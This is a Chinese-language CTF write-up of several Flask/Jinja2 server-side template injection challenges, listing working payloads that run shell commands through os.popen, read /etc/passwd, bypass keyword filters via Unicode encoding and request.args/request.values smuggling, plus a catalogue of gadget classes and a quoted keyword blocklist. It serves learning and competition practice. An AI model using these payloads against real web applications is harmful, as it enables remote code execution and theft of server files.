1_week(SSTI-WP)
[HNCTF 2022 WEEK]ez_SSTI
payload:?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
思路:
/?name={{6*6}}测出SSTI注入点参数是name
/?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}爆表,出现app.py和flag
?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}获取flag
但是我一开始是这样做的:
/?name={{6*6}}测出SSTI注入点参数是name,一样
然后{{''.__class__.__base__.__subclasses__()}},找到*os._wrap_close类,定位到了137
最后?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['os'].popen('cat flag').read()}}
另外,看了别人的WP还有<class '_frozen_importlib_external.FileLoader'>文件读取类可以利用,payload为?name={{"".__class__.__base__.__subclasses__()[118]["get_data"](0,"flag")}}
[安洵杯 2020]Normal SSTI
这个比上一个善良,提示参数为
test?url
还是先test?url={{6*6}},发现过滤了{{}},使用{% %}+print,然后没做出来就去看WP了,哈哈
这里学一个WAF绕过方法:使用Unicode编码
Unicode编码的python脚本:
1 | class_name = "要编码的payload" |
原始payload:
{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")())%}
将__globals__,__getitem__,cat flag 编码即可
fenjing
在看WP的时候,发现fenjing这款工具,用了一下感觉SSTI白学了,fenjing一把梭就很屌
然后和其他类型的题一样,也可以burp抓包之后fuzz找过滤对象
[HNCTF 2022 WEEK3]ssssti
fenjing一把梭可以跑出flag
和第一题一样,参数是name
过滤了一些关键字和args,但是还可以用request.cookies,request.values
使用的类是__site._Printer__类
payload:?name={{()[request.values.a][request.values.b][request.values.c]()[request.values.d](71)[request.values.f][request.values.e][request.values.d](request.values.g)[request.values.po](request.values.h)[request.values.r]()}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__globals__&f=__init__&g=os&h=cat flag&r=read&po=popen
常用的类
这里介绍一下常用的、可以作为跳板的类
RCE 命令执行类:
site._Printer:__init__.__globals__ 里有 os、sys
warnings.catch_warnings:__init__ 里有 eval / __builtins__
os._wrap_close:__init__.__globals__ 里有os
subprocess.Popen:{{''.__class__.__mro__[-1].__subclasses__()[N]('dir',shell=True,stdout=-1).communicate()}}
读 / 写文件类:
io.TextIOWrappe:{{''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()}}
codecs.IncrementalEncoder / Decoder:__globals__ 里有 open、os
builtins:
_ModuleLock / _DummyThread:__init__.__globals__ 含 __builtins__
全局对象:
lipsum:{{lipsum.**globals**['os'].popen('id').read()}}
cycler:{{cycler.**init**.**globals**.os.popen('id').read()}}
joiner、namespace、url_for、config 等
查找脚本:
1 | {% for idx,cls in enumerate(''.__class__.__mro__[-1].__subclasses__()) %} |
[SWPU 2024 新生引导]ez_SSTI
根目录直接爆出来了。。。
[GHCTF 2025]upload?SSTI!
上传了一个1.txt文件,内容是{{6*6}},然后填他给的路径,访问不了
下载附件,查看源码
1 |
这个路径才是对的
还有过滤
1 | dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',] |
SSTI漏洞点
1 | tmp_str = """<!DOCTYPE html> |
学习一下render_template_string,它是Flask Jinja2模板渲染函数,会主动解析字符串里的{{}},{% %}语法,解析后直接运行
然后看这个代码它只会去检测data,然后就想到用request.args绕过
1.txt文件中
1 | {{ lipsum[request.args.a][request.args.b].popen(request.args.c).read() }} |
在URL后拼接
1 | ?a=__globals__&b=os&c=cat /f* |
然后就出现flag了




